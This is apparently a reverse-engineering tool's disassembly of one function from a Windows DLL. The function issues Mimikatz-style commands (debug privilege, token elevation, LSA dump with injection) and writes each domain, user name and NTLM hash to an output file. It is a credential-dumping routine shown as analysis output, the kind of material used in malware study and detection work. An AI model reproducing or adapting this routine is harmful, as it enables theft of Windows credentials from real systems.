Function at 0x180001010
Capabilities:
Query environment variable
Write file on windows

Disassembly:
push rbx
push rdi
push r12
push r13
push r14
sub rsp, 0x460
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov r13, rcx
xor r14d, r14d
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8d, 0x3ff
mov dword [rsp + 0x44], r14d
mov byte [rsp + 0x50], r14b
call fcn.1800212f0
mov dword [rsp + 0x40], r14d
mov r12d, r14d
call fcn.18001ff18
lea rcx, [rax + 0x30]
call fcn.180023220
mov edx, 0x40000
mov ecx, eax
call fcn.1800290c4
mov dword [0x18004cc88], eax
call fcn.18001ff18
lea rcx, [rax + 0x60]
call fcn.180023220
mov edx, 0x40000
mov ecx, eax
call fcn.1800290c4
mov dword [0x18004cc90], eax
call qword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
lea edx, [r14 + 1]
lea rcx, [0x180004580]
mov dword [0x18004cc8c], eax
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
call fcn.180004a6c
lea r8, [0x18004cc9c]
lea rdx, [0x18004cc94]
lea rcx, [0x18004cc98]
call qword [sym.imp.ntdll.dll_RtlGetNtVersionNumbers]
and dword [0x18004cc9c], 0x7fff
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jns 0x1800010f8
mov ecx, eax
call fcn.180004a6c
call fcn.180005470
lea rdi, [0x18004a500]
mov ebx, Ordinal_27
nop dword [rax]
mov rax, qword [rdi]
mov rcx, qword [rax + 0x28]
test rcx, rcx
je 0x180001137
call rcx
test eax, eax
jns 0x180001137
mov rdx, qword [rdi]
lea rcx, str.INIT
mov r8d, eax
mov rdx, qword [rdx]
call fcn.180004a6c
add rdi, 8
dec rbx
jne 0x180001110
lea rcx, str.privilege::debug
xor r8d, r8d
xor edx, edx
mov dword [0x18004b790], 1
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov ebx, eax
test eax, eax
je 0x1800011cb
mov edx, ebx
mov ecx, 0x40
add rdx, rdx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x1800011cb
lea rcx, str.privilege::debug
mov r8d, ebx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
cmp ebx, eax
je 0x18000119d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rdi, rax
test rdi, rdi
je 0x1800011cb
movzx eax, word [rdi]
cmp eax, 0x21
je 0x1800011b9
cmp eax, 0x2a
je 0x1800011c2
mov rcx, rdi
call fcn.180004734
jmp 0x1800011c2
lea rcx, [rdi + 2]
call fcn.180004a80
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [0x18004b788], r12d
mov qword [rsp + 0x498], rbp
mov qword [rsp + 0x4a0], rsi
je 0x180001340
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.token::elevate
mov ebx, 0xc0000001
xor r8d, r8d
xor edx, edx
mov esi, ebx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov ebp, eax
test eax, eax
je 0x180001332
mov edx, ebp
mov ecx, 0x40
add rdx, rdx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x180001332
lea rcx, str.token::elevate
mov r8d, ebp
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
cmp ebp, eax
je 0x180001255
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rdi, rax
test rdi, rdi
je 0x180001332
movzx eax, word [rdi]
cmp eax, 0x21
je 0x180001275
cmp eax, 0x2a
je 0x180001280
mov rcx, rdi
call fcn.180004734
jmp 0x18000127e
lea rcx, [rdi + 2]
call fcn.180004a80
mov esi, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
test esi, esi
jne 0x180001332
lea ecx, [rsi + 0xa]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.lsadump::lsa__inject
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov esi, eax
test eax, eax
je 0x180001327
mov edx, esi
mov ecx, 0x40
add rdx, rdx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x180001327
lea rcx, str.lsadump::lsa__inject
mov r8d, esi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
cmp esi, eax
je 0x1800012ed
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rdi, rax
test rdi, rdi
je 0x180001327
movzx eax, word [rdi]
cmp eax, 0x21
je 0x180001309
cmp eax, 0x2a
je 0x180001314
mov rcx, rdi
call fcn.180004734
jmp 0x180001312
lea rcx, [rdi + 2]
call fcn.180004a80
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
test ebx, ebx
jne 0x180001327
lea r12d, [rbx + 1]
jmp 0x180001340
mov edx, ebx
lea rcx, str.lsa_inject_error_d.
jmp 0x18000133b
mov edx, esi
lea rcx, str.privilege_elevate_error_d.
call fcn.18001f770
mov dword [0x18004b788], r14d
mov dword [0x18004b790], r14d
test r12d, r12d
je 0x1800014cc
mov qword [rsp + 0x30], r14
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, r13
mov dword [rsp + 0x28], Ordinal_133
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x18000139a
lea rcx, str.CreateFileA_error
call fcn.18001f770
jmp 0x1800014cc
lea rcx, [rsp + 0x44]
call fcn.18000349c
mov ebx, dword [rsp + 0x44]
mov r13d, r14d
mov rsi, rax
test ebx, ebx
je 0x180001482
mov qword [rsp + 0x4a8], r15
mov r14, rax
lea r15, [rax + 0x10]
mov rax, qword [r14 + 8]
mov r9, qword [r14]
inc r13d
lea rdx, str._d_domain___ls__user___ls__
lea rcx, [rsp + 0x50]
mov r8d, r13d
mov qword [rsp + 0x20], rax
call fcn.18001f834
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x50]
lea r9, [rsp + 0x40]
repne scasb al, byte [rdi]
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x20], rax
not rcx
lea r8, [rcx - 1]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x400
call fcn.1800212f0
lea rdx, str._nthash_s._r_n
lea rcx, [rsp + 0x50]
mov r8, r15
call fcn.18001f834
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x50]
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x50]
repne scasb al, byte [rdi]
mov qword [rsp + 0x20], rax
not rcx
lea r8, [rcx - 1]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
add r15, 0x58
add r14, 0x58
cmp r13d, ebx
jb 0x1800013c5
mov r15, qword [rsp + 0x4a8]
xor r14d, r14d
test rsi, rsi
je 0x1800014c3
test ebx, ebx
je 0x1800014bb
lea rdi, [rsi + 8]
nop
mov rcx, qword [rdi - 8]
test rcx, rcx
je 0x1800014a2
call fcn.180028cc8
mov qword [rdi - 8], r14
mov rcx, qword [rdi]
test rcx, rcx
je 0x1800014b2
call fcn.180028cc8
mov qword [rdi], r14
add rdi, 0x58
dec rbx
jne 0x180001490
mov rcx, rsi
call fcn.180028cc8
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x4a0]
mov rbp, qword [rsp + 0x498]
mov eax, r12d
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.18001f750
add rsp, 0x460
pop r14
pop r13
pop r12
pop rdi
pop rbx
ret